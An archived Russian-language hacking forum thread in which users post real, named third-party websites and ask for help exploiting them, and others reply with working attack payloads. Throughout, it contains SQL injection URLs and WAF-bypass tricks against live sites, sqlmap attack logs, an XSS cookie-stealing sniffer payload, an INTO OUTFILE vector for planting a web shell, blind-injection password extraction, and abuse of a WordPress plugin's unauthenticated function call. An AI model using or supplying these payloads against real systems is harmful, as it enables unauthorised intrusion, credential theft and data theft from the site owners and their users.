Ваши вопросы по уязвимостям. [Архив]

Xsite

05.05.2015, 19:09

faza02 said:
↑ (https://antichat.live/posts/3843476/)
какие пути обхода? обход чего? кто должен угадывать, почему нет вывода?
пишите сюда запросы, ошибки и все, что может пригодится для того, чтобы не угадывать, в чем у вас проблема

Сори ,надо сразу было выложить )

Обычная ерор базед

Вывод при -v 3

[18:06:26] [PAYLOAD] bnzg=5979 AND 1=1 UNION ALL SELECT 1,2,3,table_name FROM information_schema.tables WHERE 2>1-- ../../../etc/passwd

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:

---

Parameter: #1* (URI)

Type: boolean-based blind

Title: Microsoft SQL Server/Sybase boolean-based blind - Stacked queries

Payload: http://www.igxe.com:80/Product/product.cfm?gameid=2338&sid=1;SELECT (CASE WHEN (2447=2447) THEN 1 ELSE 2447*(SELECT 2447 FROM master..sys

databases) END)--&curc=2&pid=3223&tid=1&deliverytype=3

Vector: ;SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)--

Type: error-based

Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause

Payload: http://www.igxe.com:80/Product/product.cfm?gameid=2338&sid=1 AND 2368=CONVERT(INT,(SELECT CHAR(113)+CHAR(118)+CHAR(113)+CHAR(106)+CHAR(11

3)+(SELECT (CASE WHEN (2368=2368) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(113)+CHAR(122)+CHAR(120)+CHAR (113)))&curc=2&pid=3223&tid=1&delivery

type=3

Vector: AND [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))

---

[18:06:30] [INFO] the back-end DBMS is Microsoft SQL Server

web application technology: ColdFusion

back-end DBMS: Microsoft SQL Server 2008

[18:06:30] [INFO] fetching tables for database: IGXEUSA

[18:06:30] [PAYLOAD] 1 AND 2254=CONVERT(INT,(SELECT CHAR(113)+CHAR(118)+CHAR(113)+CHAR(106)+CHAR(113)+ (SELECT ISNULL(CAST(COUNT(IGXEUSA..sysusers.name

+CHAR(46)+IGXEUSA..sysobjects.name) AS NVARCHAR(4000)),CHAR(32)) FROM IGXEUSA..sysobjects INNER JOIN IGXEUSA..sysusers ON IGXEUSA..sysobjects.uid = IG

XEUSA..sysusers.uid WHERE IGXEUSA..sysobjects.xtype IN (CHAR(117),CHAR(118)))+CHAR(113)+CHAR(113)+CHAR(12 2)+CHAR(120)+CHAR(113)))

[18:06:31] [DEBUG] got HTTP error code: 500 (Internal Server Error)

[18:06:31] [WARNING] the SQL query provided does not return any output

[18:06:31] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'

[18:06:31] [PAYLOAD] 1 AND 7553=CONVERT(INT,(SELECT CHAR(113)+CHAR(118)+CHAR(113)+CHAR(106)+CHAR(113)+ (SELECT ISNULL(CAST(COUNT(table_schema+CHAR(46)+

table_name) AS NVARCHAR(4000)),CHAR(32)) FROM information_schema.tables WHERE table_catalog=CHAR(73)+CHAR(71)+CHAR(88)+CHAR(69)+ CHAR(85)+CHAR(83)+CHAR

(65))+CHAR(113)+CHAR(113)+CHAR(122)+CHAR(120)+CHAR (113)))

[18:06:32] [DEBUG] got HTTP error code: 500 (Internal Server Error)

[18:06:32] [WARNING] the SQL query provided does not return any output

[18:06:32] [WARNING] the SQL query provided does not return any output

[18:06:32] [INFO] fetching number of tables for database 'IGXEUSA'

[18:06:32] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval

[18:06:32] [PAYLOAD] 1;SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(LTRIM(STR(COUNT(name))) AS NVARCHAR(4000)),CHAR(32)) FROM IGXEUSA..sys

objects WHERE IGXEUSA..sysobjects.xtype IN (CHAR(117),CHAR(118))),1,1))>51) THEN 1 ELSE 8471*(SELECT 8471 FROM master..sysdatabases) END)--

[18:06:33] [DEBUG] got HTTP error code: 500 (Internal Server Error)

[18:06:33] [PAYLOAD] 1;SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(LTRIM(STR(COUNT(name))) AS NVARCHAR(4000)),CHAR(32)) FROM IGXEUSA..sys

objects WHERE IGXEUSA..sysobjects.xtype IN (CHAR(117),CHAR(118))),1,1))>48) THEN 1 ELSE 8471*(SELECT 8471 FROM master..sysdatabases) END)--

[18:06:34] [DEBUG] got HTTP error code: 500 (Internal Server Error)

[18:06:34] [PAYLOAD] 1;SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(LTRIM(STR(COUNT(name))) AS NVARCHAR(4000)),CHAR(32)) FROM IGXEUSA..sys

objects WHERE IGXEUSA..sysobjects.xtype IN (CHAR(117),CHAR(118))),1,1))>1) THEN 1 ELSE 8471*(SELECT 8471 FROM master..sysdatabases) END)--

[18:06:36] [DEBUG] got HTTP error code: 500 (Internal Server Error)

[18:06:36] [INFO] retrieved:

[18:06:36] [DEBUG] performed 3 queries in 3.26 seconds

[18:06:36] [PAYLOAD] 1;SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(LTRIM(STR(COUNT(table_name))) AS NVARCHAR(4000)),CHAR(32)) FROM inform

ation_schema.tables WHERE table_catalog=CHAR(73)+CHAR(71)+CHAR(88)+CHAR(69)+ CHAR(85)+CHAR(83)+CHAR(65)),1,1))>51) THEN 1 ELSE 3827*(SELECT 3827 FROM m

aster..sysdatabases) END)--

[18:06:37] [DEBUG] got HTTP error code: 500 (Internal Server Error)

[18:06:37] [PAYLOAD] 1;SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(LTRIM(STR(COUNT(table_name))) AS NVARCHAR(4000)),CHAR(32)) FROM inform

ation_schema.tables WHERE table_catalog=CHAR(73)+CHAR(71)+CHAR(88)+CHAR(69)+ CHAR(85)+CHAR(83)+CHAR(65)),1,1))>48) THEN 1 ELSE 3827*(SELECT 3827 FROM m

aster..sysdatabases) END)--

[18:06:38] [DEBUG] got HTTP error code: 500 (Internal Server Error)

[18:06:38] [PAYLOAD] 1;SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(LTRIM(STR(COUNT(table_name))) AS NVARCHAR(4000)),CHAR(32)) FROM inform

ation_schema.tables WHERE table_catalog=CHAR(73)+CHAR(71)+CHAR(88)+CHAR(69)+ CHAR(85)+CHAR(83)+CHAR(65)),1,1))>1) THEN 1 ELSE 3827*(SELECT 3827 FROM ma

ster..sysdatabases) END)--

[18:06:39] [DEBUG] got HTTP error code: 500 (Internal Server Error)

[18:06:39] [INFO] retrieved:

[18:06:39] [DEBUG] performed 3 queries in 3.48 seconds

[18:06:39] [PAYLOAD] 1;SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(COUNT(name) AS NVARCHAR(4000)),CHAR(32)) FROM IGXEUSA..sysobjects WHER

E xtype = CHAR(85)),1,1))>51) THEN 1 ELSE 4817*(SELECT 4817 FROM master..sysdatabases) END)--

[18:06:41] [DEBUG] got HTTP error code: 500 (Internal Server Error)

[18:06:41] [WARNING] reflective value(s) found and filtering out

[18:06:41] [PAYLOAD] 1;SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(COUNT(name) AS NVARCHAR(4000)),CHAR(32)) FROM IGXEUSA..sysobjects WHER

E xtype = CHAR(85)),1,1))>48) THEN 1 ELSE 4817*(SELECT 4817 FROM master..sysdatabases) END)--

[18:06:42] [DEBUG] got HTTP error code: 500 (Internal Server Error)

[18:06:42] [PAYLOAD] 1;SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(COUNT(name) AS NVARCHAR(4000)),CHAR(32)) FROM IGXEUSA..sysobjects WHER

E xtype = CHAR(85)),1,1))>1) THEN 1 ELSE 4817*(SELECT 4817 FROM master..sysdatabases) END)--

[18:06:44] [DEBUG] got HTTP error code: 500 (Internal Server Error)

[18:06:44] [INFO] retrieved:

[18:06:44] [DEBUG] performed 3 queries in 4.97 seconds

[18:06:44] [WARNING] unable to retrieve the number of tables for database 'IGXEUSA'

[18:06:44] [CRITICAL] unable to retrieve the tables for any database

[18:06:44] [WARNING] HTTP error codes detected during run:

500 (Internal Server Error) - 11 times

faza02

05.05.2015, 19:39

Xsite said:
↑ (https://antichat.live/posts/3843479/)
Сори ,надо сразу было выложить )
Обычная ерор базед
Вывод при -v 3

так как там большинство таблиц с длинным именем, и чтобы их вытащить нужно пользоваться функцией CHAR(), получается довольно длинный GET запрос. например, таблица NEWGXE_AppraisePersonComment:

Code:
http://www.igxe.com/Product/product.cfm?gameid=2338&sid=1+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATI ON_SCHEMA.TABLES+WHERE+TABLE_NAME>CHAR(78)%2bCHAR(69)%2bCHAR(87)%2bCHAR(71)%2bCHAR(8 8)%2bCHAR(69)%2bCHAR(95)%2bCHAR(65)%2bCHAR(112)%2b CHAR(112)%2bCHAR(114)%2bCHAR(97)%2bCHAR(105)%2bCHA R(115)%2bCHAR(101)%2bCHAR(80)%2bCHAR(101)%2bCHAR(1 14)%2bCHAR(115)%2bCHAR(111)%2bCHAR(110)%2bCHAR(67) %2bCHAR(111)%2bCHAR(109)%2bCHAR(109)%2bCHAR(101)%2 bCHAR(110)%2bCHAR(116))--&curc=2&pid=3223&tid=1&delivery%20type=3

вываливается то 500 ошибка, то Security: The requested template has been denied access

но если есть желание покрутить руками, то вот:

Code:
http://www.igxe.com/Product/product.cfm?gameid=2338&sid=1+or+1=(SELECT+TOP+1+column_name+FROM+informat ion_schema.columns+WHERE+table_name+like+(SELECT+T OP+1+table_name+FROM+information_schema.tables+WHE RE+table_name+not+in+(SELECT+TOP+1+table_name+FROM +information_schema.tables)))--&pid=3223

или так:

Code:
http://www.igxe.com/Product/product.cfm?gameid=2338&sid=1+or+1=(SeLect+max(table_name)+from+(select+to p+1+table_name+from+information_schema.tables+wher e+table_name+not+in+(select+top+2+table_name+from+ information_schema.tables+order+by+table_name)+ord er+by+table_name)a)--&pid=3223

больше информации: https://rdot.org/forum/showthread.php?t=826

faza02

06.05.2015, 16:54

Br@!ns said:
↑ (https://antichat.live/posts/3842226/)
Отлично, а как теперь можете ссылку скинуть?)

Code:
http://compassrecords.com/xml/songlist.xml.php?id=888%27+div+0+/*!12345union*/+/*!select*/+1,2,3,4,5,6,VERSION/*!12345()*/,8,9,10,11,12,13,14,15--+

жесткий WAF, пока не придумал, как обойти на FROM

faza02

06.05.2015, 17:32

sunnyfruit said:
↑ (https://antichat.live/posts/3842133/)
tvnetcitoyenne.com/journal.php?article=Тут_Инклуд_Прохо дит&phpsessid=98e322270e7ed6ec12ff0d0e9b66cf2a
Я не пойму как он фильтрует Юзер-Агент

фильтрует его WAF, запрещает использовать в юзер-агенте эти символы:

Unknowhacker

07.05.2015, 14:37

Есть пассивная XSS, читаем куки ">alert(document.cookie) - без вопросов, но когда я подставляю сниффер - куки не приходят.

http://site.ru/?=">(new+image()).src="sniffer.url"document.cookieуже ажрес сниффер через ЧарКод пропускал - нефига ..

faza02

07.05.2015, 14:53

Unknowhacker said:
↑ (https://antichat.live/posts/3843930/)
Есть пассивная XSS, читаем куки ">alert(document.cookie) - без вопросов, но когда я подставляю сниффер - куки не приходят.
http://site.ru/?=
">(new+image()).src="sniffer.url"document.cookieуже ажрес сниффер через ЧарКод пропускал - нефига ..

нефига, потому что синтаксис кривой: (new image()).src="sniffer.url"+document.cookie

там должен быть реальный плюс, если это гет параметр, то нужно его заурленкодить, то есть %2b. а между new Image (Image с большой буквы) должен быть реальный пробел, то есть %20

Br@!ns

08.05.2015, 18:37

как можно заменить в функции /*!12345select*/ знаки '/' и '*', как вообще работает это все?

И еще один вопрос. Можно ли использовть запрос в подзапросе вида: select user_id from(select table_name from information_schema.tables limit 48,1), в целях обхода на фильтр слова в url строке?

faza02

08.05.2015, 18:56

Br@!ns said:
↑ (https://antichat.live/posts/3844306/)
как можно заменить в функции /*!12345select*/ знаки '/' и '*', как вообще работает это все?

это комментарии в mysql. работает потому что есть символ воскл. знака.

когда стоит восклицательный знак и номер версии, то содержимое комментария исполняется, если номер версии равен или больше указанного

тут можно посмотреть еще на возможные варианты: http://websec.ca/kb/sql_injection#MySQL_Specific_Code

kacergei

09.05.2015, 11:21

Собственно вопрос, имеется сайт:

.SpoilerTarget" type="button">Spoiler: URL
http://old.[antigoogle]metallprofil.ru/e_mag/' (http://old.[antigoogle]metallprofil.ru/e_mag/%27)
Выдает:

Code:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 6

Не получается раскрутить sql-injection, есть варианты?

faza02

09.05.2015, 11:35

xxl said:
↑ (https://antichat.live/posts/3844428/)
ой... как же вы мне помогли...

kacergei said:
↑ (https://antichat.live/posts/3844598/)
Собственно вопрос, имеется сайт:
Spoiler: URL
http://old.[antigoogle]metallprofil.ru/e_mag/' (http://old.[antigoogle]metallprofil.ru/e_mag/%27)
Выдает:

Code:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 6

Не получается раскрутить sql-injection, есть варианты?

Code:
http://old.metallprofil.ru/e_mag/'and(select*from(select(name_const(version(),1)),n ame_const(version(),1))a)='1

kacergei

09.05.2015, 11:37

faza02 said:
↑ (https://antichat.live/posts/3844608/)

Code:
http://old.metallprofil.ru/e_mag/'and(select*from(select(name_const(version(),1)),n ame_const(version(),1))a)='1

а как заставить sqlmap пробить?

faza02

09.05.2015, 11:51

kacergei said:
↑ (https://antichat.live/posts/3844609/)
а как заставить sqlmap пробить?

боюсь, что никак. у вас там не много запросов получится, если выводить с group_concat()

Unknown

10.05.2015, 01:35

vikler said:
↑ (https://antichat.live/posts/3844926/)
Есть сайт MsSQLi. В общем, при раскрутке уязвимого параметра получаем редирект на другую страницу, где в url'е имеем: ".../ErrorHandling/FriendlyError.html?message=..."
В message="..." имеем стандартную MsSQL инъекцию (стандартный вывод ошибки)
В общем:

Code:
http://www.heritage{GOOGLE}-images.com/Search/SearchPage.aspx?searchterm=1970s&lictype=all&searchtype=KEY&orientation=YYYY&color=ALL&rmCollections=(Select%20top%201%20table_name%20fro m%20information_schema.tables)

Но получается нет таблицы для юзеров что ли? Я вроде как все просмотрела таблицы. ххмммм. Я что не так поняла м.б.?

если посмотрела все таблицы этой бд и не нашла то наверно ее просто нет, если есть другие бд посмотри их

frank

10.05.2015, 23:20

HTML:
http://www.theatremunicipal-tunis.gov.tn/fiche_spectacle.php?id=53

Полей вроде 6-ть, а дальше чей-то ни как...

teh

10.05.2015, 23:56

frank said:
↑ (https://antichat.live/posts/3845390/)

HTML:
http://www.theatremunicipal-tunis.gov.tn/fiche_spectacle.php?id=53

Полей вроде 6-ть, а дальше чей-то ни как...

Code:
http://www.theatremunicipal-tunis.gov.tn/fiche_spectacle.php?id=54 or 1 group by concat_ws(0x7e,version(),user(),database(),floor(r and(0)*2)) having min(0) or 1--+

sunnyfruit

11.05.2015, 13:50

Есть сайт где в случае использование union, либо select в sqli вылезает 403 ошибка.

Иногда помогает замена на /*!uNIoN*/+/*!SElECT*/ (http://www.site.com/index.php?id=-725+/*%21UNION*/+/*%21SELECT*/+1,GROUP_CONCAT%28SCHEMA_NAME%29,3,4,5+FROM+INFORM ATION_SCHEMA.SCHEMATA)

Вопрос такой: если работает указанная конструкция на некотором сайте - будет ли работать она там же где работает обычный union select?

faza02

11.05.2015, 13:56

sunnyfruit said:
↑ (https://antichat.live/posts/3845631/)
Есть сайт где в случае использование union, либо select в sqli вылезает 403 ошибка.
Иногда помогает замена на
/*!uNIoN*/+/*!SElECT*/ (http://www.site.com/index.php?id=-725+/*%21UNION*/+/*%21SELECT*/+1,GROUP_CONCAT%28SCHEMA_NAME%29,3,4,5+FROM+INFORM ATION_SCHEMA.SCHEMATA)
Вопрос такой: если работает указанная конструкция на некотором сайте - будет ли работать она там же где работает обычный union select?

да. это синтаксис mysql

kacergei

11.05.2015, 14:08

Посоветуйте эксплойты для удаленного выполнения, а то пробыю и под Apache и ProFTPD ничего не выходит((

Code:
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.3
80/tcp open http Apache httpd 2.2.15 ((Mandriva Linux/PREFORK-3mdv2010.1))
2222/tcp open ssh OpenSSH 5.5 (protocol 2.0)
Service Info: OS: Unix

И попутно какие есть уязвимости в yii frameworke 1.1.13?

sunnyfruit

11.05.2015, 19:51

Реально ли залить шелл через sqli file_priv = y, если она имеет тип error_based, либо blind. имеется ввиду не приводя инъекцию к обычному union виду

BigBear

11.05.2015, 19:59

sunnyfruit said:
↑ (https://antichat.live/posts/3845831/)
Реально ли залить шелл через sqli file_priv = y, если она имеет тип error_based, либо blind. имеется ввиду не приводя инъекцию к обычному union виду

Для Error-Based есть такой вектор:

select username from users where username=1 or (select count(*) from (select 1 union select 2 union select 3)x group by concat((select 1 into outfile '/usr/home/www/test.php' lines terminated by ""),floor(rand(0)*2)))

Для Union Based заливаете как есть, несмотря на отсутствие вывода. Проверяете залился ли файл командами

select if(load_file('/tmp/shell.php') is not null,1,2)=1 TRUE Файл существут

select if(load_file('/tmp/shell.php') is not null,1,2)=1 FALSE Файла нет

sunnyfruit

11.05.2015, 20:09

BigBear said:
↑ (https://antichat.live/posts/3845835/)
Для Error-Based есть такой вектор:
Для Union Based заливаете как есть, несмотря на отсутствие вывода. Проверяете залился ли файл командами
select if(load_file('/tmp/shell.php') is not null,1,2)=1 TRUE Файл существут
select if(load_file('/tmp/shell.php') is not null,1,2)=1 FALSE Файла нет

Создал на Денвере таблицу users где есть id и username

Пишет ошибку:

#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'into outfile '/usr/home/www/test.php' lines terminated by ""),floo' at line 1

Сам запрос:

select username from users where id>0 or (select count(*) from (select 1 union select 2 union select 3)x group by concat((select 1 into outfile '/usr/home/www/test.php' lines terminated by ''),floor(rand(0)*2)))

Где почитать можно подробнее?

Mysql символ " не совсем хорошо понимает!

kingbeef

12.05.2015, 01:19

sunnyfruit said:
↑ (https://antichat.live/posts/3845836/)
Создал на Денвере таблицу users где есть id и username
Пишет ошибку:
Сам запрос:
Где почитать можно подробнее?
Mysql символ " не совсем хорошо понимает!

Не " , а ' .

Br@!ns

12.05.2015, 08:19

Code:
http://www.freelin-wade.com/search.php?cmd=search&words=kkk%27

помогите раскрутить

faza02

12.05.2015, 09:10

Br@!ns said:
↑ (https://antichat.live/posts/3846028/)

Code:
http://www.freelin-wade.com/search.php?cmd=search&words=kkk%27

помогите раскрутить

боюсь, не выйдет. и запроса все вырезается и экранируется. можно бы было попробовать, если бы можно было внедриться в 2 поля

Unknowhacker

12.05.2015, 13:35

Не знаю как обойти фильторочек

Code:
http://psf.com.ua/modules.php?name=news&option=3&news_id=113+order+by+4+--+
(http://psf.com.ua/modules.php?name=news&option=3&news_id=113)

Illegal Operation

HAXTA4OK

12.05.2015, 13:46

Unknowhacker said:
↑ (https://antichat.live/posts/3846176/)
Не знаю как обойти фильторочек

Code:
http://psf.com.ua/modules.php?name=news&option=3&news_id=113+order+by+4+--+
(http://psf.com.ua/modules.php?name=news&option=3&news_id=113)
Illegal Operation

PHP:
http://psf.com.ua/modules.php?name=news&option=3&news_id=-113+%0AUnion%0ASelect+1,2,3,4+--+
http://psf.com.ua/modules.php?name=news&option=3&news_id=-113+%0AUnion%0ASelect+1,table_name,3,4+from+inform ation_schema.tables+--+

Br@!ns

12.05.2015, 21:46

Почему при ручной эксплуатации blind sql, запросы:

Code:
or+substring((select+password+from+user+where+id=1 +limit+0,1),9,1)=0x64+--+
or+substring((select+password+from+user+where+id=1 +limit+0,1),9,1)=0x44+--+

Будут одинаково TRUE? PS 0x64='d' 0x44='D'

Как в таком случае определить в каком регистре буква в пароле?

faza02

12.05.2015, 21:53

Br@!ns said:
↑ (https://antichat.live/posts/3846439/)
Почему при ручной эксплуатации blind sql, запросы:

Code:
or+substring((select+password+from+user+where+id=1 +limit+0,1),9,1)=0x64+--+
or+substring((select+password+from+user+where+id=1 +limit+0,1),9,1)=0x44+--+

Будут одинаково TRUE? PS 0x64='d' 0x44='D'
Как в таком случае определить в каком регистре буква в пароле?

используйте ascii()

Br@!ns

12.05.2015, 23:32

faza02 said:
↑ (https://antichat.live/posts/3846445/)
используйте ascii()

Можно ли как нибудь проверить полученный результат с помощью этойфункции, или же он работает только с одним символом? пример:

нужно проверить итоговую сумму в выражении, чтоб не ошибиться с регистром

Code:
ascii(substring((select+password+from+users+where+ id=1+limit+0,1),8,2))=0x4453+--+

faza02

12.05.2015, 23:45

Br@!ns said:
↑ (https://antichat.live/posts/3846505/)
Можно ли как нибудь проверить полученный результат с помощью этойфункции, или же он работает только с одним символом? пример:
нужно проверить итоговую сумму в выражении, чтоб не ошибиться с регистром

Code:
ascii(substring((select+password+from+users+where+ id=1+limit+0,1),8,2))=0x4453+--+

ascii() переводит только 1 символ, смотрите в документации

kacergei

13.05.2015, 03:50

Имеется сайт с sql-injections, но возникли впоросы с sqlmap

Code:
[Linux Debian] [Apache 2.4.10] [MySQL 5.0] ['10.0.16-MariaDB-1']
Privilege: USAGE
Type: error-based
Title: MySQL >= 5.0 error-based - Parameter replace
Payload: http://site.com/news.html?id=(SELECT 1582 FROM(SELECT COUNT(*),CONCAT(0x7171766a71,(SELECT (ELT(1582=1582,1))),0x71706b6b71,FLOOR(RAND(0)*2)) x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&cat=main

Не работает --file-read="/home/www/wwuser/user/www/index.php" (или тот же .htaccess, js не важно)

Выдает пустой файл:

.SpoilerTarget" type="button">Spoiler: Результат

Code:
[WARNING] reflective value(s) found and filtering out
[INFO] retrieved:
[WARNING] it looks like the file has not been written (usually occurs if the DBMS process' user has no write privileges in the destination path)
files saved to [1]:
C:\sqlmap\output\site.com\files\_home_www_wwuser_u ser_www_index.php (size differs from remote file)

И тот же вопрос по --sql-query="UPDATE users SET admin=1 WHERE login=test" (как только не пробовал)

.SpoilerTarget" type="button">Spoiler: Результат

Code:
[WARNING] execution of custom SQL queries is only available when stacked queries are supported
UPDATE UPDATE users SET admin=1 WHERE login=test: None
[INFO] fetched data logged to text files under 'C:\sqlmap\output\site.com\'

Это из-за нехватки прав? Или что то другое мешает?

faza02

13.05.2015, 03:55

kacergei said:
↑ (https://antichat.live/posts/3846613/)
Имеется сайт с sql-injections, но возникли впоросы с sqlmap

Code:
[Linux Debian] [Apache 2.4.10] [MySQL 5.0] ['10.0.16-MariaDB-1']
Privilege: USAGE
Type: error-based
Title: MySQL >= 5.0 error-based - Parameter replace
Payload: http://site.com/news.html?id=(SELECT 1582 FROM(SELECT COUNT(*),CONCAT(0x7171766a71,(SELECT (ELT(1582=1582,1))),0x71706b6b71,FLOOR(RAND(0)*2)) x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&cat=main

Не работает --file-read="/home/www/wwuser/user/www/index.php" (или тот же .htaccess, js не важно)
Выдает пустой файл:
Spoiler: Результат

Code:
[WARNING] reflective value(s) found and filtering out
[INFO] retrieved:
[WARNING] it looks like the file has not been written (usually occurs if the DBMS process' user has no write privileges in the destination path)
files saved to [1]:
C:\sqlmap\output\site.com\files\_home_www_wwuser_u ser_www_index.php (size differs from remote file)

И тот же вопрос по --sql-query="UPDATE users SET admin=1 WHERE login=test" (как только не пробовал)
Spoiler: Результат

Code:
[WARNING] execution of custom SQL queries is only available when stacked queries are supported
UPDATE UPDATE users SET admin=1 WHERE login=test: None
[INFO] fetched data logged to text files under 'C:\sqlmap\output\site.com\'

Это из-за нехватки прав? Или что то другое мешает?

ну как бы для чтения файлов у вашего пользователя должны быть права file_priv, а для update в mysql нужна sqli в update. тут разделяются запросы на выборку и на изменение информации

frank

13.05.2015, 11:57

Доброго дня...

Есть LFI подскажет кто?

HTML:
goo.gl/d1mQnC

vikler

13.05.2015, 13:20

Code:
http://www.scalarchives.com/web/ricerca_risultati.asp?SC_PROV=COLL&IdCollection=82993'

помогите с раскруткой

faza02

13.05.2015, 13:38

vikler said:
↑ (https://antichat.live/posts/3846713/)

Code:
http://www.scalarchives.com/web/ricerca_risultati.asp?SC_PROV=COLL&IdCollection=82993'

помогите с раскруткой

Code:
http://www.scalarchives.com/web/ricerca_risultati.asp?SC_PROV=COLL&IdCollection=82993%27;WAITFOR%20DELAY%20%270:0:1%2 7--

vikler

13.05.2015, 13:51

faza02 said:
↑ (https://antichat.live/posts/3846718/)

Code:
http://www.scalarchives.com/web/ricerca_risultati.asp?SC_PROV=COLL&IdCollection=82993%27;WAITFOR%20DELAY%20%270:0:1%2 7--

Incorrect syntax near '; WAITFOR DELAY'.

faza02

13.05.2015, 14:28

vikler said:
↑ (https://antichat.live/posts/3846724/)
Incorrect syntax near '; WAITFOR DELAY'.

тем не менее, задержка есть. попробуйте 0 и 1

DezMond™

13.05.2015, 16:16

www.haba.ch/?id_mitteilungeneintraege=-77+/*!12345union*/+%0Aselect+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16--+&typ=4 (http://www.haba.ch/?id_mitteilungeneintraege=-77+/*!12345union*/+%0Aselect+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16--+&typ=4)

Как обойти фильтр from? таблица be_users

faza02

13.05.2015, 16:36

DezMond™ said:
↑ (https://antichat.live/posts/3846786/)
www.haba.ch/?id_mitteilungeneintraege=-77+/*!12345union*/+%0Aselect+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16--+&typ=4 (http://www.haba.ch/?id_mitteilungeneintraege=-77+/*!12345union*/+%0Aselect+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16--+&typ=4)
Как обойти фильтр from? таблица be_users

DezMond™ said:
↑ (https://antichat.live/posts/3846786/)
www.haba.ch/?id_mitteilungeneintraege=-77+/*!12345union*/+%0Aselect+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16--+&typ=4 (http://www.haba.ch/?id_mitteilungeneintraege=-77+/*%2112345union*/+%0Aselect+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16--+&typ=4)
Как обойти фильтр from? таблица be_users

Code:
http://o53xo.nbqweyjomnua.cmle.ru/?id_mitteilungeneintraege=-77+and%28extractvalue%281,/*!concat*/%280x3a,%28select+table_name+from+information_sche ma.tables+limit+1,1%29%29%29%29&typ=4

реакция на связку union select from. select from пропускает, поэтому здесь подходит error-based

vikler

14.05.2015, 01:14

Какие способы заливки шелла через wpadmin, если там а) отключено редактирование тем и плагинов б) невозможно загружать php ?

faza02

14.05.2015, 01:52

vikler said:
↑ (https://antichat.live/posts/3847029/)
Какие способы заливки шелла через wpadmin, если там а) отключено редактирование тем и плагинов б) невозможно загружать php ?

архив с темой тоже нельзя загрузить? какая версия wp?

из этой темы все попробовали? https://rdot.org/forum/showthread.php?t=3

vikler

14.05.2015, 02:50

faza02 said:
↑ (https://antichat.live/posts/3847041/)
архив с темой тоже нельзя загрузить? какая версия wp?
из этой темы все попробовали?
https://rdot.org/forum/showthread.php?t=3

Да, всё пробовала. Архив с темой тоже нельзя загружать

Version 3.9.6

sunnyfruit

14.05.2015, 17:23

Ребята, если есть LFI на сайте вида site.ru/param/LFI/1.

Поможет если слешдоты перевести в %HE%XX

mazaxaka

14.05.2015, 21:13

Code:
kratko-news.com/wp-content/plugins/wpgrabber/test.php?ajax=1&task=phpinfo

можно ли вывести что то кроме пхпинфо? вроде все перепробовал, нефига не хочет

BigBear

15.05.2015, 11:02

mazaxaka said:
↑ (https://antichat.live/posts/3847400/)

Code:
kratko-news.com/wp-content/plugins/wpgrabber/test.php?ajax=1&task=phpinfo

можно ли вывести что то кроме пхпинфо? вроде все перепробовал, нефига не хочет

Лезем на офф сайт - http://wpgrabber.ru/ , качаем плагин.

Открывает test.php

В самом начала видим:

Code:
if ($_GET['ajax']) {
$task = $_GET['task'];
//sleep(1);
$result = $task();
exit();

В самом конце видим:

Code:
function __start()
{
$('#display').html('');
$('#sbmt').hide();
$('#loading').show();
__echo('1. Тестированиe внешних запросов из php-функции file_get_contents()...');
$.get('?ajax=1&task=testFileGetContents', function( data ) {
__echo( data );

__echo('
2. Тестированиe работы библиотеки CURL...');
$.get('?ajax=1&task=testCurl', function( data ) {
__echo( data );

__echo('
3. Тестированиe внешних запросов из php-функции copy()...');
$.get('?ajax=1&task=testCopy', function( data ) {
__echo( data );

__echo('
4. Тестированиe сохранения файла из php-функции file_get_contents()...');
$.get('?ajax=1&task=testFileGetContentsSaveFile', function( data ) {
__echo( data );

__echo('
5. Тестированиe сохранения файла с помощью библиотеки CURL...');
$.get('?ajax=1&task=testCurlSaveFile', function( data ) {
__echo( data );

__echo('

Тестирование завершено!');

$('#sbmt').show();
$('#loading').hide();

То есть доступными функциями для тестирования будут те, которые описаны в скрипте + те, для вызоав которых не нужна передача аргументов.

Потому что итоговая строка строится как $func= $_GET['task'].'()'

Такие функции для php можешь посмотреть здесь -> http://php.net/manual/ru/ref.info.php

mazaxaka

15.05.2015, 20:06

BigBear said:
↑ (https://antichat.live/posts/3847557/)
Лезем на офф сайт -
http://wpgrabber.ru/
, качаем плагин.
Открывает test.php
В самом начала видим:

Code:
if ($_GET['ajax']) {
$task = $_GET['task'];
//sleep(1);
$result = $task();
exit();

В самом конце видим:

Code:
function __start()
{
$('#display').html('');
$('#sbmt').hide();
$('#loading').show();
__echo('1. Тестированиe внешних запросов из php-функции file_get_contents()...');
$.get('?ajax=1&task=testFileGetContents', function( data ) {
__echo( data );

__echo('
2. Тестированиe работы библиотеки CURL...');
